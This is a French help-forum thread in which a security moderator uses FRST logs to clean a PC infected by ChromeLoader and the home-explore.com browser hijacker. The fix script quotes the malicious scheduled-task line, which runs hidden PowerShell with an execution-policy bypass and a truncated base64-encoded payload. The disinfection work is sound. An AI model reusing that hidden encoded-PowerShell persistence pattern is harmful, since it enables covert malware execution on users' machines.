Windows Powershell s'ouvre tout seul

Résolu
Racletteman -  
bazfile Messages postés 58469 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   -
Bonjour,
Quand je suis sur mon pc Windows PowerShell s’ouvre tout seul toutes les 5 minutes ce qui m’embête beaucoup. Je pense que c’est un virus. Est-ce que quelqu’un pourrait m’aider ?

Merci
A voir également:

1 réponse

Réponse 1 / 1
bazfile Messages postés 58469 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   19 760
 
Bonjour,
Télécharge FRST une fois téléchargé enregistre-le sur le bureau puis clique avec le bouton droit de ta souris sur FRST et choisi Exécuter en tant qu'administrateur tu auras ceci :

Clique sur Analyser

Attention, attendre que les messages disant que l'analyse est terminée s'affichent




À la fin de l'analyse tu auras deux fichiers texte sur le bureau FRST et Addition



Ensuite envoie les rapports FRST et ADDITION sur CJOINT voir CE TUTORIEL puis donne les deux liens générés par Cjoint dans ta réponse.
1
Racletteman
 
FRST.txt : https://www.cjoint.com/c/LDltIze7pFw
Addition.txt : https://www.cjoint.com/c/LDltJJ4cH8w
0
bazfile Messages postés 58469 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   19 760 > Racletteman
 
Désinstalle WebAdvisor par McAfee c'est un adware.

Procédure à faire dans l'ordre indiqué :
1- Ouvre FRST en tant qu'administrateur pour cela avec le bouton droit de ta souris sur FRST et choisis exécuter en tant qu'administrateur
2 - Copie l'intégralité du script qui est dans l'encadré qui suit : 
Start::
CreateRestorePoint:
CloseProcesses:
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Restriction 
HKLM\SOFTWARE\Policies\Mozilla\Firefox: Restriction 
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction
Edge HomeButtonPage: HKU\S-1-5-21-1563416075-4248544364-2925839088-1001 -> hxxp://www.home-explore.com/
Edge Extension: (Pas de nom) -> AutoFormFill_5ED10D46BD7E47DEB1F3685D2C0FCE08 => C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\HostExtensions\AutoFormFill [non trouvé(e)]
Edge Extension: (Pas de nom) -> BookReader_B171F20233094AC88D05A8EF7B9763E8 => C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\BookViewer [non trouvé(e)]
Edge Extension: (Pas de nom) -> LearningTools_7706F933-971C-41D1-9899-8A026EB5D824 => C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\HostExtensions\LearningTools [non trouvé(e)]
Edge Extension: (Pas de nom) -> PinJSAPI_EC01B57063BE468FAB6DB7EBFC3BF368 => C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\HostExtensions\PinJSAPI [non trouvé(e)]
Edge HomePage: Default -> hxxp://www.home-explore.com/
Edge StartupUrls: Default -> "hxxp://www.home-explore.com/"
Edge DefaultSearchURL: Default -> {bing:baseURL}search?q={searchTerms}&{bing:cvid}{bing:msb}{google:assistedQueryStats}
Task: {FDE83DB6-354D-48B4-85B3-EE286F08D458} - System32\Tasks\ChromeLoader => cmd /c start /min "" powershell -ExecutionPolicy Bypass -WindowStyle Hidden -E JABlAHgAdABQAGEAdABoACAAPQAgACIAJAAoACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQApAFwAYwBoAHIAbwBtAGUAIgAKACQAYwBvAG4AZgBQAGEAdABoACAAPQAgACIAJABlAHgAdABQAGEAdABoAFwAYwBvAG4AZgAuAGoAcwAiAAoAJABhAHIAYwBoAGkAdgBlAE4AYQBtAGUAI (l'élément de données a 4315 caractères en plus).
AlternateDataStreams: C:\ProgramData\DP45977C.lfl:677104FCAA [3314]
AlternateDataStreams: C:\ProgramData\mntemp:8EAD8B3507 [3314]
AlternateDataStreams: C:\ProgramData\sokqucqi.nri:CFEA2D0235 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini:B1DA6C571C [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Audacity.lnk:09A0A90EF3 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\BakkesMod.lnk:14E057C8D9 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini:41964AA945 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Epic Games Launcher.lnk:BE32D07BC5 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk:8096E45125 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk:E77773B271 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Notepad++.lnk:159ADC9AA1 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PC Health Check.lnk:F20EF51E1F [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\RomStation.lnk:07C3DD11F3 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Shotcut.lnk:6762EAF92B [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamSpeak 3 Client.lnk:F208FC6732 [10]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Movie Maker 2.6.lnk:399E325E95 [10]
AlternateDataStreams: C:\ProgramData\DP45977C.lfl:677104FCAA [3314]
AlternateDataStreams: C:\ProgramData\mntemp:8EAD8B3507 [3314]
AlternateDataStreams: C:\ProgramData\sokqucqi.nri:CFEA2D0235 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini:B1DA6C571C [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Audacity.lnk:09A0A90EF3 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\BakkesMod.lnk:14E057C8D9 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini:41964AA945 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Epic Games Launcher.lnk:BE32D07BC5 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk:8096E45125 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk:E77773B271 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Notepad++.lnk:159ADC9AA1 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PC Health Check.lnk:F20EF51E1F [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\RomStation.lnk:07C3DD11F3 [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Shotcut.lnk:6762EAF92B [3314]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamSpeak 3 Client.lnk:F208FC6732 [10]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Movie Maker 2.6.lnk:399E325E95 [10]
HKU\S-1-5-21-1563416075-4248544364-2925839088-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.home-explore.com/
SearchScopes: HKU\S-1-5-21-1563416075-4248544364-2925839088-1001 -> DefaultScope {12AE8299-32D0-48DA-ACC0-6D2FD295AD81} URL = hxxp://www.home-explore.com/search?q={searchTerms}
SearchScopes: HKU\S-1-5-21-1563416075-4248544364-2925839088-1001 -> {12AE8299-32D0-48DA-ACC0-6D2FD295AD81} URL = hxxp://www.home-explore.com/search?q={searchTerms}
SearchScopes: HKU\S-1-5-21-1563416075-4248544364-2925839088-1001 -> {2A23ab71-4ac6-41f2-a955-ea576e553146} URL = 
SearchScopes: HKU\S-1-5-21-1563416075-4248544364-2925839088-1001 -> {2f23ab71-4ac6-41f2-a955-ea576e553146} URL = hxxps://fr.search.yahoo.com/yhs/search?hspart=omr&hsimp=yhs-001&type=87infr0srvimo2003219¶m1=y6bdVFVIsvuYsgEClQfz8I7gEdb7af9GSy3VsrdP%2BKL6%2B7NK%2Bj%2BuVyiXErsEJDYv3k9KHdWIllqa4%2B8Pt9oZWHqMo9HkjQY4an3qevuJXduNEjWoPO%2BwjUjz3cHWBpsHyUKBbGlSxfczZceGIO1xVpz8PvEjT%2BbyfYzebzzwbWvhFZ5rWACocjTsAMVHwDqm1jnAKQIKZy9zZ%2Bbcb28ZU86%2Bt0MhKB6fxfEVZUjKpCd6UnF0LZbZ0pCw5NL6sQvSXaKdq7WPTvsR31ELnRZAWLZz9XTXd5nS5hKvQlkb6WteLFlHss%2BW0%2FTdRzJmIU8kwxDe7HUqF8h9Ewbb4Rn%2B5JhBmJz0q9zDJw3NipAfr34MBM7dd%2BLxs3%2Bqh9fEOb1eXb4Eutx%2Fvgmbvg9XySkX%2BQ%3D%3D&p={searchTerms}
FF HKLM\...\Firefox\Extensions: [{4ED1F68A-5463-4931-9384-8FFF5ED91D92}] - C:\Program Files\McAfee\WebAdvisor\e10ssaffplg.xpi
FF Extension: (McAfee® WebAdvisor) - C:\Program Files\McAfee\WebAdvisor\e10ssaffplg.xpi [2022-04-07] [UpdateUrl:hxxps://sadownload.mcafee.com/products/SA/Win/xpi/webadvisor/update.json]
FF HKLM-x32\...\Firefox\Extensions: [{4ED1F68A-5463-4931-9384-8FFF5ED91D92}] - C:\Program Files\McAfee\WebAdvisor\e10ssaffplg.xpi
BHO: McAfee WebAdvisor -> {B164E929-A1B6-4A06-B104-2CD0E90A88FF} -> C:\Program Files\McAfee\WebAdvisor\x64\IEPlugin.dll [2022-04-07] (McAfee, LLC -> McAfee, LLC)
cmd: netsh advfirewall resetcmd: netsh advfirewall reset
EmptyTemp:
End::

3- Une fois le script copié clique sur Corriger, FRST prend automatiquement le script qui est dans le presse-papier.


Laisse la correction se faire une fois qu'elle est terminée il te sera demandé de redémarrer ton pc, fait-le dès que cela te sera demandé, voir ci-dessous.

IUne fois ton ordinateur redémarré :

4- Tu auras un fichier Fixlog sur ton bureau ensuite envoie ces rapports sur https://www.cjoint.com/ voir ce tutoriel puis donne le lien généré par Cjoint dans ton prochain message.

IMPORTANT :

5- Réinitialise Google Chrome avec CE LOGICIEL.
Puis :

6- VÉRIFIE ET DIS-MOI SI TON PROBLÈME EST TOUJOURS PRÉSENT

.
0
Racletteman
 
Fixlog.txt : https://www.cjoint.com/c/LDmj6ne6csw
0
bazfile Messages postés 58469 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   19 760 > Racletteman
 
Le fixlog est OK, ton problème est-il résolu ?
0
Racletteman > bazfile Messages postés 58469 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention  
 
Oui, mon problème est résolu, merci !
0